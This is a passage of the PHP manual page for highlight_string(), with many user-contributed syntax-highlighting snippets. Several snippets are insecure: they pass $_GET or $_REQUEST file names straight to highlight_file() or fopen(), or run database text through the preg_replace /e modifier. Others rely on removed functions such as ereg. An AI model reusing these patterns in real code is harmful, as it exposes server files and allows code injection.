This applies to all of the other relavent ini values: highlight.default, highlight.html, highlight.keyword, highlight.string.
comperr dot extra at gmail dot com 18-Apr-2008 11:20
Here is what I use
<?php

    /* array() ensures that ok[] cannot have paths inserted if register globals is enabled */

    $ok = array(
        'f1.php',
        'f2.php'
    );

    if (!in_array($_GET['f'], $ok))
    {
        die ('Not allowed to view this page');
    }
    else
    {
        highlight_file($_GET['f']);
    }?>
moisadoru at gmail dot com 17-Oct-2007 05:24
A function which parses the output of highlight file and replaces &lt;span&gt; wits &lt;a&gt;, replaces the style="color: #XXXXXX" part with class="cX", storing the colors in some css rules; that way you get a smaller output size (ratio is about about 1.2 ~ 1.4):
<code>
<?php
function highlight_file2($fl,$ret){
    if(!isset($ret)) $ret = false;
    $str = highlight_file($fl,true);
    preg_match_all("/\<span style=\"color: #([\d|A|B|C|D|E|F]{6})\"\>.*?\<\/span\>/",$str,$mtch);
    $m = array_unique($mtch[1]);

    $cls = '<style type="text/css">'."\n";
    $rpl = array("</a>");
    $mtc = array("</span>");
    $i = 0;
    foreach($m as $clr) {
        $cls .= "a.c".$i."{color: #".$clr.";}\n";
        $rpl[] = "<a class=\"c".$i++."\">";
        $mtc[] = "<span style=\"color: #".$clr."\">";
    }
    $cls .= "</style>";
    $str2 = str_replace($mtc,$rpl,$str);
    if($ret) return $str2;
    else echo $str2;
}
?>
</code>
management at twilightus dot net 20-Mar-2007 06:18
Here's a better take at highlighting a file with line numbers:

<style type="text/css">
.num {
float: left;
color: gray;
text-align: right;
margin-right: 6pt;
padding-right: 6pt;
border-right: 1px solid gray;}
</style>
<?php
function highlight_num($file)
{
  echo '<code class="num">', implode(range(1, count(file($file))), '<br />'), '</code>';
  highlight_file($file);
}

highlight_num('file.php');
?>

Thanks for the implode() part from Arevos at programmingforums.org
paul at cheddar dot vaughany dot com 21-Aug-2006 04:53
It's a basic idea but one maybe worth sharing.

<?php
switch($_GET['file']) {
    case 1:
        highlight_file("file1.php");
        break;
    case 2:
        highlight_file("file2.php");
        break;
    case 3:
        highlight_file("file3.php");
        break;
    default:
        header("Location: ".$_SERVER["PHP_SELF"]);
}
?>

Save the script as showfile.php and access it like this:

<a href="showfile.php?file=1">Click here to see file 1 source code</a>

The default case is for people editing the URL to try to access further files. Just don't add any files you don't want users to see, and maybe hard-code in large, random numbers or MD5 hashes.
showsource at gmail dot com 07-Apr-2006 05:18
Please, be aware of just using marlon at mbwp dot nl example to show the sourcecode
Do as told in this manual, "CAUTION", do some check on what code to highlight.
Simply just using $_GET["file"] is very bad.
marlon at mbwp dot nl 05-Mar-2006 05:06
I use the folowing code to highlight a file with line numbers:

<?php
echo "<table bgcolor=#EEEEEE><tr><td width=30>";
for ($i = 1; $i <= count(file($_GET['file'])); $i++) echo $i.".<br>";
echo "</td><td>";
highlight_file($_GET['file']);
echo "</td></tr></table>";
?>
msn at toolskyn dot nl 26-Feb-2006 01:18
I use this (simple and dirty) function in my tutorials to add linenumbers. I let all the linenumbers in one table cell so it is easier for people to copy and paste the code (so they don't have to remove all the linenumbers):

<?php
function highlight_with_linenum($file)
{
    //open handle, set vars
    $handle = fopen($file, "r");
    $count = 1;
    $lines = "";

    //look line ends
    while ($thisone = fread($handle, "1"))
    {
        if ($thisone == "\n")
        {
            //add number
            $lines .= $count . "<br />";
            $count++;
        }
    }
    //close handle
    fclose($handle);

    //highlight contents
    $contents = highlight_file($file, TRUE);

    //print output (you could as well return now)
    print '<table><tr><td><code>' .
          $lines . '</code></td><td>' .
          $contents . '</td></tr></table>';
}
?>

Maybe it's of use to someone
venski at gmail dot com 06-Jan-2006 05:21
I think it will be better if the variable contains the files that are allowed to be viewed. There can always befound a way to pass the name of a forbiddedn file that is not in the prohibited array.

Thus the code will be:

<?php
//array with files to allow
$allowed = array('index.php', 'menu.php', 'about.php');

// get the filename
$file = $_GET[file];
if(file_Exists($file)){
    if(in_array($file, $allowed)){
        // check if it is part of the allowed list
        highlight_file($file); //highlight file
    }
    else{
        // not allowed. just die. do not warn ;)
        die("");
    }
}
else{
    // file doesnt exist
    echo "The file does not exist.";
}
?>
aidan at php dot net 26-Sep-2004 08:29
To add line numbers to source code, with optional function linking, use the below function:

http://aidanlister.com/repos/v/function.highlight_file_linenum.php

A much more thorough and smarter, though slower version is here:

http://aidanlister.com/repos/v/PHP_Highlight.php
csst0266 at cs dot uoi dot gr 13-Aug-2004 09:42
Here is a simple, yet useful, tip... Issuing the following command under a Unix-like OS:

ln -s your_script.php your_script.phps

Will result in the creation of a symbolic link (called your_script.phps) to the source code (your_script.php). This way you have (apart from the source code .php) the highlighted version of your script (.phps) accessible via your web browser.


文字列の構文ハイライト表示

  • ≪ highlight_file
  • hrtime ≫
  • PHP Manual
  • その他の関数
  • 文字列の構文ハイライト表示

highlight_string

(PHP 4, PHP 5, PHP 7, PHP 8)

highlight_string — 文字列の構文ハイライト表示

説明

highlight_string ( string $str , bool $return = false ) : mixed

PHP 組込みの 構文ハイライタで定義されたカラーを使用して str を構文ハイライト表示したものを、html マークアップで出力あるいは返します。

パラメータ

str

ハイライト表示する PHP コード。開始タグを含む必要があります。

return

このパラメータを true にすると、この関数はハイライトされたコードを返します。

返り値

return が true の場合は、 ハイライトされたコードを文字列として返し、表示しません。 それ以外の場合は、成功した場合に true、 失敗した場合に false を返します。

例

例1 highlight_string() の例

<?php
highlight_string('<?php phpinfo(); ?>');
?>

上の例の出力は以下となります。

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php phpinfo</span><span style="color: #007700">(); </span><span style="color: #0000BB">?&gt;</span>
</span>
</code>

注意

注意:

return パラメータを使う場合、この関数は内部的に出力バッファリングを使います。 そのため、ob_start() コールバック関数の中では使えません。

生成される HTML マークアップは、変わる可能性があります。

参考

  • highlight_file() - ファイルの構文ハイライト表示
  • ハイライトに関する INI 設定

User Contributed Notes

pyetrosafe at gmail dot com 19-Jan-2019 07:11
I read the note from "stanislav dot eckert at vizson dot de" and I really enjoyed the function he created.
For my use I made some adaptations leaving the function more practical and allowing the passage and multiple parameters at a time, I also modified the style of the <code> element with a black background and margins.

<?php

// Combined of the highlight_string and var_export
function hl_export()
{
    try {
        ini_set("highlight.comment", "#008000");
        ini_set("highlight.default", "#FFFFFF");
        ini_set("highlight.html", "#808080");
        ini_set("highlight.keyword", "#0099FF; font-weight: bold");
        ini_set("highlight.string", "#99FF99");

        $vars = func_get_args();

        foreach ( $vars as $var ) {
            $output = var_export($var, true);
            $output = trim($output);
            $output = highlight_string("<?php " . $output, true);  // highlight_string() requires opening PHP tag or otherwise it will not colorize the text
            $output = preg_replace("|\\<code\\>|", "<code style='background-color: #000000; padding: 10px; margin: 10px; display: block; font: 12px Consolas;'>", $output, 1);  // edit prefix
            $output = preg_replace("|(\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>)(&lt;\\?php&nbsp;)(.*?)(\\</span\\>)|", "\$1\$3\$4", $output);  // remove custom added "<?php "
            echo $output;
        }
    } catch (Exception $e) {
        echo $e->getMessage();
    }
}

// Debug multiple vars at once.
$var1 = 'Example String';
$var2 = 1987;
$var3 = null;
$var4 = true;
$var5 = array('Array', '05', 05, false, null);

hl_export( $var1, $var2, $var3, $var4, $var5 );
?>
stanislav dot eckert at vizson dot de 26-Dec-2015 03:50
You can change the colors of the highlighting, like this:

<?php
ini_set("highlight.comment", "#008000");
ini_set("highlight.default", "#000000");
ini_set("highlight.html", "#808080");
ini_set("highlight.keyword", "#0000BB; font-weight: bold");
ini_set("highlight.string", "#DD0000");
?>

Like you see in the example above, you can even add additional styles like bold text, since the values are set directly to the DOM attribute "style".

Also, this function highlights only text, if it begins with the prefix "<?php". But this function can highlight other similar formats too (not perfectly, but better than nothing), like HTML, XML, C++, JavaScript, etc. I use following function to highlight different file types and it works quite good:

<?php
function highlightText($text)
{
    $text = trim($text);
    $text = highlight_string("<?php " . $text, true);  // highlight_string() requires opening PHP tag or otherwise it will not colorize the text
    $text = trim($text);
    $text = preg_replace("|^\\<code\\>\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>|", "", $text, 1);  // remove prefix
    $text = preg_replace("|\\</code\\>\$|", "", $text, 1);  // remove suffix 1
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|\\</span\\>\$|", "", $text, 1);  // remove suffix 2
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|^(\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>)(&lt;\\?php&nbsp;)(.*?)(\\</span\\>)|", "\$1\$3\$4", $text);  // remove custom added "<?php "

    return $text;
}
?>

Note, that it will remove the <code> tag too, so you get the formatted text directly, which gives you more freedom to work with the result.

I personally suggest to combine both things to have a nice highlighting function for different file types with different highlight coloring sets:

<?php
function highlightText($text, $fileExt="")
{
    if ($fileExt == "php")
    {
        ini_set("highlight.comment", "#008000");
        ini_set("highlight.default", "#000000");
        ini_set("highlight.html", "#808080");
        ini_set("highlight.keyword", "#0000BB; font-weight: bold");
        ini_set("highlight.string", "#DD0000");
    }
    else if ($fileExt == "html")
    {
        ini_set("highlight.comment", "green");
        ini_set("highlight.default", "#CC0000");
        ini_set("highlight.html", "#000000");
        ini_set("highlight.keyword", "black; font-weight: bold");
        ini_set("highlight.string", "#0000FF");
    }
    // ...

    $text = trim($text);
    $text = highlight_string("<?php " . $text, true);  // highlight_string() requires opening PHP tag or otherwise it will not colorize the text
    $text = trim($text);
    $text = preg_replace("|^\\<code\\>\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>|", "", $text, 1);  // remove prefix
    $text = preg_replace("|\\</code\\>\$|", "", $text, 1);  // remove suffix 1
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|\\</span\\>\$|", "", $text, 1);  // remove suffix 2
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|^(\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>)(&lt;\\?php&nbsp;)(.*?)(\\</span\\>)|", "\$1\$3\$4", $text);  // remove custom added "<?php "

    return $text;
}
?>
stanislav dot eckert at vizson dot de 11-May-2015 03:18
The documentation says for the first parameter "The PHP code to be highlighted. This should include the opening tag. ". But it seems that the code should not only but *must* start with PHP's opening tag or otherwise the function will still modify but will not highlight the code.
joshuaeasy4u at gmail dot com 17-Sep-2013 09:19
<?php
function printCode($source_code)
{
if ( is_array($source_code))
return false;
$source_code=explode("\n",str_replace(array("\r\n","\r"),"\n",$source_code));
$line_count=1;
foreach ( $source_code as $code_line)
{
$formatted_code .='<tr><td>'.$line_count.'</td>';
$line_count++;
if ( ereg('<\?(php)?[^[:graph:]]',$code_line))
$formatted_code.='<td>'.str_replace(array('<code>','</code>'),'',highlight_string($code_line,true)).'</td></tr>';
else
$formatted_code .='<td>'.ereg_replace('(&lt;\?php&nbsp;)+','',str_replace(array('<code>','</code>'),'',highlight_string('<?php '.$code_line,true))).'</td></tr>';
}
return '<table style="font: 1em Consolas, \'andale mono\', \' monotype.com\', \'lucida console\', monospace;">'.$formatted_code.'</table>';
}
?>
Mean^_^ 18-Apr-2009 09:45
[EDIT BY danbrown AT php DOT net: The following note contains a user-supplied version of a syntax highlighter.]

<style type="text/css">
.linenum{
    text-align:right;
    background:#FDECE1;
    border:1px solid #cc6666;
    padding:0px 1px 0px 1px;
    font-family:Courier New, Courier;
    float:left;
    width:17px;
    margin:3px 0px 30px 0px;
    }

code    {/* safari/konq hack */
    font-family:Courier New, Courier;
}

.linetext{
    width:700px;
    text-align:left;
    background:white;
    border:1px solid #cc6666;
    border-left:0px;
    padding:0px 1px 0px 8px;
    font-family:Courier New, Courier;
    float:left;
    margin:3px 0px 30px 0px;
    }

br.clear    {
    clear:both;
}

</style>
<?php

 function printCode($code, $lines_number = 0)    {

         if (!is_array($code)) $codeE = explode("\n", $code);
        $count_lines = count($codeE);

        $r1 = "Code:<br />";

         if ($lines_number){
                $r1 .= "<div class=\"linenum\">";
                foreach($codeE as $line =>$c) {
                    if($count_lines=='1')
                        $r1 .= "1<br>";
                    else
                        $r1 .= ($line == ($count_lines - 1)) ? "" :  ($line+1)."<br />";
                 }
                 $r1 .= "</div>";
         }

         $r2 = "<div class=\"linetext\">";
         $r2 .= highlight_string($code,1);
         $r2 .= "</div>";

        $r .= $r1.$r2;

        echo "<div class=\"code\">".$r."</div>\n";
    }

    printCode('<?php echo "PHP Code" ?>    ',1);
?>

by mean
Share idea.
good luck ^_^
Dmitry S 24-Jul-2008 01:38
Alternative XML syntax highlighting.

<?php
function xml_highlight($s)
{
    $s = htmlspecialchars($s);
    $s = preg_replace("#&lt;([/]*?)(.*)([\s]*?)&gt;#sU",
        "<font color=\"#0000FF\">&lt;\\1\\2\\3&gt;</font>",$s);
    $s = preg_replace("#&lt;([\?])(.*)([\?])&gt;#sU",
        "<font color=\"#800000\">&lt;\\1\\2\\3&gt;</font>",$s);
    $s = preg_replace("#&lt;([^\s\?/=])(.*)([\[\s/]|&gt;)#iU",
        "&lt;<font color=\"#808000\">\\1\\2</font>\\3",$s);
    $s = preg_replace("#&lt;([/])([^\s]*?)([\s\]]*?)&gt;#iU",
        "&lt;\\1<font color=\"#808000\">\\2</font>\\3&gt;",$s);
    $s = preg_replace("#([^\s]*?)\=(&quot;|')(.*)(&quot;|')#isU",
        "<font color=\"#800080\">\\1</font>=<font color=\"#FF00FF\">\\2\\3\\4</font>",$s);
    $s = preg_replace("#&lt;(.*)(\[)(.*)(\])&gt;#isU",
        "&lt;\\1<font color=\"#800080\">\\2\\3\\4</font>&gt;",$s);
    return nl2br($s);
}
?>
fsx dot nr01 at gmail dot com 13-Jun-2008 09:22
Here is an improved version of the code highlighter w/ linenumbers from 'vanessaschissato at gmail dot com' - http://nl.php.net/manual/en/function.highlight-string.php#70456

<?php

    function printCode($source_code)
    {

        if (is_array($source_code))
            return false;

        $source_code = explode("\n", str_replace(array("\r\n", "\r"), "\n", $source_code));
        $line_count = 1;

        foreach ($source_code as $code_line)
        {
            $formatted_code .= '<tr><td>'.$line_count.'</td>';
            $line_count++;

            if (ereg('<\?(php)?[^[:graph:]]', $code_line))
                $formatted_code .= '<td>'. str_replace(array('<code>', '</code>'), '', highlight_string($code_line, true)).'</td></tr>';
            else
                $formatted_code .= '<td>'.ereg_replace('(&lt;\?php&nbsp;)+', '', str_replace(array('<code>', '</code>'), '', highlight_string('<?php '.$code_line, true))).'</td></tr>';
        }

        return '<table style="font: 1em Consolas, \'andale mono\', \'monotype.com\', \'lucida console\', monospace;">'.$formatted_code.'</table>';
    }

?>
Dobromir Velev 27-May-2008 04:04
Here is an improved version of Dimitry's xml_highlight function.
I fixed a bug which replaced the first character of the tags name,
and added a line to replace the tabs and spaces with
non-breaking space symbols to keep the identation.

<?
function xml_highlight($s){
  $s = preg_replace("|<([^/?])(.*)\s(.*)>|isU", "[1]<[2]\\1\\2[/2] [5]\\3[/5]>[/1]", $s);
  $s = preg_replace("|</(.*)>|isU", "[1]</[2]\\1[/2]>[/1]", $s);
  $s = preg_replace("|<\?(.*)\?>|isU","[3]<?\\1?>[/3]", $s);
  $s = preg_replace("|\=\"(.*)\"|isU", "[6]=[/6][4]\"\\1\"[/4]",$s);
  $s = htmlspecialchars($s);
  $s = str_replace("\t","&nbsp;&nbsp;",$s);
  $s = str_replace(" ","&nbsp;",$s);
  $replace = array(1=>'0000FF', 2=>'0000FF', 3=>'800000', 4=>'FF00FF', 5=>'FF0000', 6=>'0000FF');
  foreach($replace as $k=>$v) {
    $s = preg_replace("|\[".$k."\](.*)\[/".$k."\]|isU", "<font color=\"#".$v."\">\\1</font>", $s);
  }

  return nl2br($s);
}
?>
Dmitry S 12-May-2008 06:29
The simple XML syntax highlighting.

<?php
function xml_highlight($s)
{
     $s = preg_replace("|<[^/?](.*)\s(.*)>|isU","[1]<[2]\\1[/2] [5]\\2[/5]>[/1]",$s);
     $s = preg_replace("|</(.*)>|isU","[1]</[2]\\1[/2]>[/1]",$s);
     $s = preg_replace("|<\?(.*)\?>|isU","[3]<?\\1?>[/3]",$s);
     $s = preg_replace("|\=\"(.*)\"|isU","[6]=[/6][4]\"\\1\"[/4]",$s);
     $s = htmlspecialchars($s);
     $replace = array(1=>'0000FF', 2=>'808000', 3=>'800000', 4=>'FF00FF', 5=>'FF0000', 6=>'0000FF');
     foreach($replace as $k=>$v)
     {
          $s = preg_replace("|\[".$k."\](.*)\[/".$k."\]|isU","<font color=\"".$v."\">\\1</font>",$s);
     }
    return nl2br($s);
}
?>
Daniel 20-Feb-2008 02:49
Well, Just a little something I wrote which highlights an HTML code...It'll be going through many changes in the next few days.... until then =) enjoy

<?php
/*************************************\
 CODE PANE 1.0 - SILVERWINGS - D. Suissa
\*************************************/

class HTMLcolorizer{
    private $pointer = 0; //Cursor position.
    private $content = null; //content of document.
    private $colorized = null;
    function __construct($content){
        $this->content = $content;
    }
    function colorComment($position){
        $buffer = "&lt;<span class='HTMLComment'>";
        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
            $buffer.= $this->content[$position];
        }
        $buffer .= "</span>&gt;";
        $this->colorized .= $buffer;
        return $position;
    }
    function colorTag($position){
        $buffer = "&lt;<span class='tagName'>";
        $coloredTagName = false;
        //As long as we're in the tag scope
        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
            if($this->content[$position] == " " && !$coloredTagName){
                $coloredTagName = true;
                $buffer.="</span>";
            }else if($this->content[$position] != " " && $coloredTagName){
                //Expect attribute
                $attribute = "";
                //While we're in the tag
                for(;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
                    if($this->content[$position] != "="){
                        $attribute .= $this->content[$position];
                    }else{
                        $value="";
                        $buffer .= "<span class='tagAttribute'>".$attribute."</span>=";
                        $attribute = ""; //initialize it
                        $inQuote = false;
                        $QuoteType = null;
                        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" && $this->content[$position] != " "  ;$position++){
                            if($this->content[$position] == '"' || $this->content[$position] == "'"){
                                $inQuote = true;
                                $QuoteType = $this->content[$position];
                                $value.=$QuoteType;
                                //Read Until next quotation mark.
                                for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" && $this->content[$position] != $QuoteType  ;$position++){
                                    $value .= $this->content[$position];
                                }
                                $value.=$QuoteType;
                            }else{//No Quotation marks.
                                $value .= $this->content[$position];
                            }
                        }
                        $buffer .= "<span class='tagValue'>".$value."</span>";
                        break;
                    }

                }
                if($attribute != ""){$buffer.="<span class='tagAttribute'>".$attribute."</span>";}
            }
            if($this->content[$position] == ">" ){break;}else{$buffer.= $this->content[$position];}

        }
        //In case there were no attributes.
        if($this->content[$position] == ">" && !$coloredTagName){
            $buffer.="</span>&gt;";
            $position++;
        }
        $this->colorized .= $buffer;
        return --$position;
    }
    function colorize(){
        $this->colorized="";
        $inTag = false;
        for($pointer = 0;$pointer<strlen($this->content);$pointer++){
            $thisChar = $this->content[$pointer];
            $nextChar = $this->content[$pointer+1];
            if($thisChar == "<"){
                if($nextChar == "!"){
                    $pointer = $this->colorComment($pointer);
                }else if($nextChar == "?"){
                    //colorPHP();
                }else{
                    $pointer = $this->colorTag($pointer);
                }
            }else{
                $this->colorized .= $this->content[$pointer];
            }
        }
        return $this->colorized;
    }
}
$curDocName = $_REQUEST['doc'];
$docHandle = fopen($curDocName,"r");
$docStrContent = fread($docHandle,filesize($curDocName));
fclose($docHandle);
$HTMLinspector = new HTMLcolorizer($docStrContent);
$document = $HTMLinspector->colorize();
?>

<html>
    <head>
        <style type="text/css">
        /**********************\
         * MOZILLA FIREFOX STYLE
        \**********************/
        /*pre{font-family:Tahoma;font-size:px;}*/
        .tagName{color:purple;}
        .tagAttribute{color:red;}
        .tagValue{color:blue;}
        .HTMLComment{font-style:italic;color:green;}
        </style>
    </head>
    <body>
    <?php
        echo "<pre>".$document."</pre>";
    ?>
    </body>
</html>
wm at tellinya dot com 17-Dec-2007 04:32
I wanted to build a better function and exclude operators {}=- from keywords span class. I also wanted to link functions used in my PHP code directly to the PHP site.
A lot more changes and tweaks have been made and the output is much better!

Find the function here :
http://www.tellinya.com/art2/262/highligh-php-syntax/
and ditch the old PHP one permanently.
Tested and built on PHP 5.2.0.

Looking forward to any input.
www.phella.net 05-Sep-2007 08:47
When you quote highlighted PHP code in your website you need to escape quotes. If you quote a lot it may be annoyning. Here is tiny snippet how to make quoting tidy and clean. Write your code like this:

<?code()?>
  $string = 'Here I put my code';
<?code()?>

And somewhere else define the function:

<?
  function code()
  {
    static $on=false;
    if (!$on) ob_start();
    else
    {
      $buffer= "<?\n".ob_get_contents()."?>";
      ob_end_clean();
      highlight_string($buffer);
    }
    $on=!$on;
  }
?>
supremacy2k at gmail dot com 31-Mar-2007 04:06
A simplification of functions vanessaschissato at gmail dot com at 17-Oct-2006 05:04.

Since it had trouble keeping the code intact. (It removed /* )

function showCode($code) {
 $code = highlight_string($code, true);
 $code = explode("<br />", $code);

 $i = "1";
 foreach ($code as $line => $syntax) {
  echo "<font color='black'>".$i."</font> ".$syntax."<br>";
  $i++;
 }
}
Pyerre 04-Mar-2007 01:29
This fonction replaces every space with the html code &nbsp; (non-breaking space)
this is not very good because text will not go to the line and causes a big width
for example in a bordered div, text will go across the border

my solution :
echo str_replace("&nbsp;", " ",highlight_string("Arise, you children of the fatherland",true));
echo str_replace("&nbsp;", " ",highlight_file("test.php",true));
tyler dot reed at brokeguysinc dot com 01-Oct-2006 06:11
This is a little chunk of code that i use to show the source of a file, i took part of the idea from a example i found on another php function page.

This code takes a php file and highlights it and places a line number next to it.  Great for on the fly debugging.

<?php
// Get a file into an array
$lines = file('index.php');

// Loop through our array, show HTML source as HTML source; and line numbers too.
echo('<table border=0 cellpadding=0 cellspacing=0>');
foreach ($lines as $line_num => $line) {
    echo('<tr>');
    echo('<td bgcolor = "#cccccc">');
    echo('<code>' . ($line_num + 1) . '</code>');
    echo('</td>');
    echo('<td>');
    highlight_string($line);
    echo('</td>');
    echo('</tr>');
}

?>
peter at int8 dot com 19-Apr-2006 04:43
This hasn't been mentioned, but it appears that PHP opening and closing tags are required to be part of the code snippet.
<?php highlight_string("<? \$var = 15; ?>"); ?>
works, while
<?php highlight_string("\$var = 15;"); ?>
does not. This is unforunate for those of use who want to show tiny code snippets, but there you go. Earlier versions of this function did not have this requirement, if I remember correctly.
stalker at ruun dot de 31-Dec-2005 01:37
to vouksh: I expanded your functions a bit:

<?php
function xhtmlHighlightString($str,$return=false) {
   $hlt = highlight_string(stripslashes($str), true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
function xhtmlHighlightFile($path,$return=false) {
   $hlt = highlight_file($path, true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
?>
vouksh at vouksh dot info 10-Sep-2005 10:27
Fully working, XHTML 1.1 ready xhtml_highlight function. I included the stripslashes, because of some problems I had with out it. It should be safe to leave it in there, but if you experience problems, feel free to take it out.

<?
function xhtml_highlight($str) {
    $hlt = highlight_string(stripslashes($str), true);
    $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
    $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
    echo $ret;
    return true;
}
?>
zer0 20-Jun-2005 09:18
Concerning my code below:

I'm sorry, I completely forgot about str_ireplace being for PHP 5 for some reason. Also, there was another error I missed (too many late nights ;)). Here's the corrected code:

<?php
    function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
    {
        (string) $highlight = "";
        if ( version_compare(PHP_VERSION, "4.2.0", "<") === 1 )
        {
            ob_start(); // start output buffering to capture contents of highlight
            highlight_string($code);
            $highlight = ob_get_contents(); // capture output
            ob_end_clean(); // clear buffer cleanly
        }
        else
        {
            $highlight=highlight_string($code, true);
        }

        # Using preg_replace will allow PHP 4 in on the fun
        if ( $inline === true )
            $highlight=preg_replace("/<code>/i","<code class=\"inline\">",$highlight);
        else
            $highlight=preg_replace("/<code>/i","<code class=\"block\">",$highlight);

        if ( $return === true )
        {
            return $highlight;
        }
        else
        {
            echo $highlight;
        }
    }
?>
zero 16-Jun-2005 03:55
In some cases, I found that it's useful to have highlight_string format <code>...</code> inline as part of a paragraph, and other times, as a block for demonstrating multiple lines of code. I made this function to help out.

<?php
    function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
    {
        (string) $highlight = "";
        if ( version_compare(phpversion(), "4.2.0", "<") === 1 )
        {
            ob_start(); // start output buffering to capture contents of highlight
            highlight_string($code);
            $highlight = ob_get_contents(); // capture output
            ob_end_clean(); // clear buffer cleanly
        }
        else
        {
            $highlight=highlight_string($data, true);
        }

        ## The classes below need to correspond to a stylesheet!
        if ( $inline === true )
          $highlight=str_ireplace("<code>","<code class=\"inline\">",$highlight);
        else
          $highlight=str_ireplace("<code>","<code class=\"block\">",$highlight);

        if ( $return === true )
        {
            return $highlight;
        }
        else
        {
            echo $highlight;
        }
    }
?>
Sam Wilson 14-Jun-2005 11:32
manithu at fahr-zur-hoelle dot org forgot only one thing:  to fix the break tags.  The addidtion of the following should do it.

<?php
$str = str_replace("<br>", "<br />", $str);
?>
bpgordon at gmail dot com 13-Jun-2005 01:04
On dleavitt AT ucsc DOT edu's comment:

You might want to use md5($html_string) instead of "piggusmaloy" as a generally good programming practice. Just in case "piggusmaloy" is actually in $html_string.
trixsey at animania dot nu 29-May-2005 04:02
A neat function I made. Syntax coloring, row numbers, varying background colors per row in the table.

<?
function showCode($code) {
    $html = highlight_string($code, true);
    $html = str_replace("\n", "", $html);
    $rows = explode("<br />", $html);

    $row_num = array();
    $i = 1;

    foreach($rows as $row) {
        if($i < 10) {
            $i = "0".$i;
        }

        if($i==1) {
            $row_num[] = "<tr><td><code><font color=\"#000000\"><code>$i</code></font>\t$row</code></td></tr>";
        }

        if($i!=1) {
            if(is_int($i/2)) {
                $row_num[] = "<tr bgcolor=\"#F9F9F9\"><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
            } else {
                $row_num[] = "<tr><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
            }
        }

        $i++;
    }
    return "<pre>\nFilename: <b>$_GET[file]</b>\n<table
    style=\"border:1px #000000 solid\">".implode($row_num)."</table></pre>";
}
?>
support at superhp dot de 10-Apr-2005 04:58
With this function you can highlight php code with line numbers:

<?php
function highlight_php($string)
{
  $Line = explode("\n",$string);

  for($i=1;$i<=count($Line);$i++)
  {
    $line .= "&nbsp;".$i."&nbsp;<br>";
  }

  ob_start();
  highlight_string($string);
  $Code=ob_get_contents();
  ob_end_clean();

  $header='<table border="0" cellpadding="0" cellspacing="0" width="95%" style="border-style: solid; border-width:1px; border-color: white black black white">
    <tr>
      <td width="100%" colspan="2"  style="border-style: solid; border-width:1px; border-color: white; background-color: #99ccff; font-family:Arial; color:white; font-weight:bold;">Php-Code:</td>
    </tr>
    <tr>
      <td width="3%" valign="top" style="background-color: #99ccff; border-style: solid; border-width:1px; border-color: white;"><code>'.$line.'</code></td>
      <td width="97%" valign="top" style="background-color: white;"><div style="white-space: nowrap; overflow: auto;"><code>';

  $footer=$Code.'</div></code></td>
    </tr>
  </table>';

  return $header.$footer;
} ?>
admin [at] develogix [dot] com 16-Feb-2005 11:15
I've been working on a good replacement for the highlight_string() function; and here is what I've come up with so far:

<?
function get_sourcecode_string($str, $return = false, $counting = true, $first_line_num = '1', $font_color = '#666'){
    $str = highlight_string($str, TRUE);
    $replace = array(
        '<font' => '<span',
        'color="' => 'style="color: ',
        '</font>' => '</span>',
        '<code>' => '',
        '</code>' => '',
        '<span style="color: #FF8000">' =>
            '<span style="color: '.$font_color.'">'
        );
    foreach ($replace as $html => $xhtml){
        $str = str_replace($html, $xhtml, $str);
    }
    // delete the first <span style="color:#000000;"> and the corresponding </span>
    $str = substr($str, 30, -9);

    $arr_html      = explode('<br />', $str);
    $total_lines   = count($arr_html);
    $out           = '';
    $line_counter  = 0;
    $last_line_num = $first_line_num + $total_lines;

    foreach ($arr_html as $line){
        $line = str_replace(chr(13), '', $line);
        $current_line = $first_line_num + $line_counter;
        if ($counting){
            $out .= '<span style="color:'.$font_color.'">'
                  . str_repeat('&nbsp;', strlen($last_line_num) - strlen($current_line))
                  . $current_line
                  . ': </span>';
        }
        $out .= $line
              . '<br />'."\n";
        $line_counter++;
    }
    $out = '<code>'."\n".$out.'</code>."\n"';

    if ($return){return $out;}
    else {echo $out;}
}
?>

This function outputs valid XHTML 1.1 code by replacing font tags with span tags. You can also specify whether you want it to return or echo, output a line-count, the color of the line-count, and the starting line-count number.

Usage:
<?
// $str = string with php
// $return = true (return) / false (echo)
//    default of false
// $counting = true (count) / false (don't count)
//    default of true
// $start = starting count number
//    default of '1'
// $color = count color with preceding #
//    defalut of '#666'
get_sourcecode_string($str, $return,   $counting, $start, $color);
?>
gaggge at gmail dot com 30-Jan-2005 08:26
This is a little function for highlighting bbcode-stylish PHP code from a mysql database.
(Like this: [php]<?php echo "test"; ?>[/php])

<?php
function bbcode($s)
{
    $s = str_replace("]\n", "]", $s);
    $match = array('#\[php\](.*?)\[\/php\]#se');
    $replace = array("'<div>'.highlight_string(stripslashes('$1'), true).'</div>'");
    return preg_replace($match, $replace, $s);
}
?>
admin at bwongar dot com 05-Jan-2005 03:11
I didn't get the expected results from the other XHTML_highlight function, so I developed my own and it is much more efficient. The older one uses a preg_replace to replace the contents of the tag to within a span tag. The only preg_replace in my function pulls the color attribute, and puts it within a str_replace'd span tag.

<?php
function xhtml_highlight($str) {
